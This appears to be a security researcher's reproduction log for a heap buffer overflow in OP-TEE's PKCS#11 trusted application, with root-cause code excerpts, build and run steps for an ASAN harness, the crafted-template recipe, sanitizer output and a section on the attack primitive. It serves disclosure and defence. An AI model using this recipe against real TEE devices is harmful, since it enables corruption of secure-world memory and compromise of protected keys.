5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / C-01-reproduction.md MD
# C-01 Bug Reproduction Log: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue

> Archive note, 2026-04-30: this file records an earlier ASAN-harness analysis.
> The runnable PoC in this folder is the QEMUv8 TEEC PoC documented in
> `README.md` (`c01_poc.c`, `build_poc.sh`, `run_c01.sh`). The official advisory
> is GHSA-8cqw-mg7v-c9p9 / CVE-2026-33317, with CVSS 8.7 High, CWE-125/CWE-787,
> and patched versions listed as 4.11 and later.

## Vulnerability Summary

**Title**: Heap Buffer Overflow in PKCS#11 TA `C_GetAttributeValue` via Undersized `attrs_size`
**CWE**: CWE-122 (Heap-based Buffer Overflow), CWE-131 (Incorrect Calculation of Buffer Size)
**CVSS v3.1**: 9.3 (Critical) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
**Vulnerable commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc`
**Affected files**:
- `ta/pkcs11/src/object.c` — `entry_get_attribute_value()`, lines 828–892
- `ta/pkcs11/src/attributes.c` — `get_attribute()`, lines 179–186

---

## Root Cause

In `entry_get_attribute_value()` (`ta/pkcs11/src/object.c`), the template buffer is allocated by `serialargs_alloc_get_attributes()` with size:

```
sizeof(pkcs11_object_head) + attrs_size   (attacker-controlled)
```

No check enforces that `attrs_size` is large enough to hold both attribute headers **and** the corresponding attribute data. An attacker sets `attrs_size = 8` (exactly one `pkcs11_attribute_head`, zero bytes for data). The allocation is 16 bytes total (8 header + 8 attacker `attrs_size`).

In the loop body (object.c:866), the data pointer is computed as:

```c
data_ptr = cli_head.size ? cli_ref->data : NULL;
// cli_ref->data = cur + sizeof(pkcs11_attribute_head) = cur + 8 = end (OOB)
```

`get_attribute()` (`ta/pkcs11/src/attributes.c`:185–186) then writes the attribute value at this out-of-bounds pointer, bypassing the size check because the attacker set `cli_head.size >= actual_attribute_size`:

```c
if (attr_size && *attr_size < size) { ... }  // bypassed: attacker size >= actual
if (attr)
    TEE_MemMove(attr, attr_ptr, size);        // HEAP OVERFLOW: writes past allocation
```

---

## Environment

- **Host**: x86-64 Linux (Ubuntu 24.04)
- **Compiler**: GCC 13.3.0
- **Sanitizer**: AddressSanitizer (`-fsanitize=address`)
- **OP-TEE OS commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc`
- **Source**: `<optee_os>/`
- **PoC location**: `<poc-dir>/`

The PoC approach compiles the actual TA source functions extracted verbatim from the repository (`ta/pkcs11/src/attributes.c`, `ta/pkcs11/src/serializer.c`) for x86 with ASAN, using trivial TEE API stubs (`TEE_MemMove` → `memmove`, `TEE_Malloc` → `calloc`). This avoids the need for a full OP-TEE cross-compilation toolchain or QEMU environment.

---

## Reproduction Steps

### Step 1: Verify the vulnerable commit

```bash
cd <optee_os>
git log --format="%H" -1
# Expected: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc
```

Output:
```
06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc
```

### Step 2: Confirm vulnerable source code

`ta/pkcs11/src/object.c` lines 828–829 and 866 show the unguarded allocation and out-of-bounds data pointer:

```c
// object.c:828-829
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;  // attrs_size = 8 (attacker-controlled)

// object.c:866 — data_ptr = cur + 8 = end (past allocation boundary)
data_ptr = cli_head.size ? cli_ref->data : NULL;

// object.c:872 — passes OOB pointer to get_attribute()
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
```

`ta/pkcs11/src/attributes.c` lines 179–186 show the bypassed size guard:

```c
// attributes.c:179 — guard is bypassed when attacker sets size >= actual
if (attr_size && *attr_size < size) {
    *attr_size = size;
    return PKCS11_CKR_BUFFER_TOO_SMALL;   // NOT reached
}
// attributes.c:185-186 — OVERFLOW: writes to OOB pointer
if (attr)
    TEE_MemMove(attr, attr_ptr, size);
```

### Step 3: Build the PoC

```bash
cd <poc-dir>
chmod +x build.sh
./build.sh
```

The build script compiles `poc_harness.c` (which `#include`s `attributes_funcs.inc` and `serializer_funcs.inc`) with AddressSanitizer:

```bash
gcc -fsanitize=address -fno-omit-frame-pointer -g -O0 \
    -Wall -Wextra \
    -o poc_harness poc_harness.c
```

Output:
```
poc_harness.c:95:20: warning: 'id2str_attr' defined but not used [-Wunused-function]
Build successful. Run: ./poc_harness
```

### Step 4: Run the PoC

```bash
./poc_harness
```

The PoC performs the following attack sequence (matching what a Normal World attacker would send via the TEE driver interface):

1. Creates a PKCS#11 object with `CKA_LABEL = "AAAAAAAAAAAAAAAA"` (16 bytes) using the real TA `add_attribute()` function.
2. Crafts a malicious serialized template buffer:
   - `pkcs11_object_head.attrs_size = 8` (exactly one `pkcs11_attribute_head`, zero data bytes)
   - `pkcs11_object_head.attrs_count = 1`
   - Single `pkcs11_attribute_head` with `id = CKA_LABEL`, `size = 16`
3. Calls `serialargs_alloc_get_attributes()` which allocates `sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16` bytes.
4. Executes the vulnerable loop from `entry_get_attribute_value()`:
   - `cur = template + 8`, `end = cur + 8` → `data_ptr = cur + 8 = end` (OOB)
   - `get_attribute()` writes 16 bytes of the label at `data_ptr` (0 bytes past the end of the allocation)

---

## Observed Result

AddressSanitizer detects a **heap-buffer-overflow** write of 16 bytes at exactly 0 bytes past the end of the 16-byte allocation:

```
=================================================================
==218269==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000000a0 at pc 0x7029f2cfac7f bp 0x7ffd29f47aa0 sp 0x7ffd29f47248
WRITE of size 16 at 0x5020000000a0 thread T0
    #0 0x7029f2cfac7e in memmove sanitizer_common_interceptors_memintrinsics.inc:98
    #1 0x60b752f9c45f in TEE_MemMove poc_harness.c:42
    #2 0x60b752f9e0ea in get_attribute attributes_funcs.inc:124
    #3 0x60b752f9e744 in main poc_harness.c:164

0x5020000000a0 is located 0 bytes after 16-byte region [0x502000000090,0x5020000000a0)
allocated by thread T0 here:
    #0 0x7029f2cfd340 in calloc asan_malloc_linux.cpp:77
    #1 0x60b752f9c3ea in TEE_Malloc poc_harness.c:30
    #2 0x60b752f9ccee in alloc_and_get serializer_funcs.inc:75
    #3 0x60b752f9d02f in serialargs_alloc_get_attributes serializer_funcs.inc:101
    #4 0x60b752f9e550 in main poc_harness.c:142

SUMMARY: AddressSanitizer: heap-buffer-overflow in memmove
```

Key observations:
- **Allocation**: 16 bytes at `[0x502000000090, 0x5020000000a0)` by `alloc_and_get()` ← `serialargs_alloc_get_attributes()` with `sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16`.
- **Overflow**: 16-byte WRITE at `0x5020000000a0` — exactly 0 bytes past the allocation end.
- **Write origin**: `memmove` inside `TEE_MemMove` ← `get_attribute()` ← the vulnerable loop in `entry_get_attribute_value()`.
- **Overflow content**: 16 bytes of attacker-controlled `CKA_LABEL` data written to heap past the allocation boundary.

This confirms the heap buffer overflow is reproducible on the vulnerable commit.

---

## Attack Primitive

A Normal World attacker can:
1. Set `attrs_size` to any value that is a multiple of `sizeof(pkcs11_attribute_head)` (8 bytes) to control the number of OOB writes.
2. Control the overflow content if they created the target object (via `CKA_LABEL` or similar writeable attributes).
3. Overflow N bytes past the heap allocation, where N equals the actual attribute value size (up to ~256 bytes for RSA moduli).

In the real Secure World, this corrupts the PKCS#11 TA's S-EL0 heap, potentially enabling code execution within the TEE or a DoS of the TA.

---

## Files

| File | Description |
|------|-------------|
| `poc_harness.c` | Main harness that constructs the malicious request and exercises the vulnerable code path |
| `attributes_funcs.inc` | Functions extracted verbatim from `ta/pkcs11/src/attributes.c` |
| `serializer_funcs.inc` | Functions extracted verbatim from `ta/pkcs11/src/serializer.c` |
| `build.sh` | Build script (GCC + ASAN) |
| `poc_harness` | Compiled binary |
| `report.md` | Full vulnerability report |
| `email.txt` | Disclosure email draft |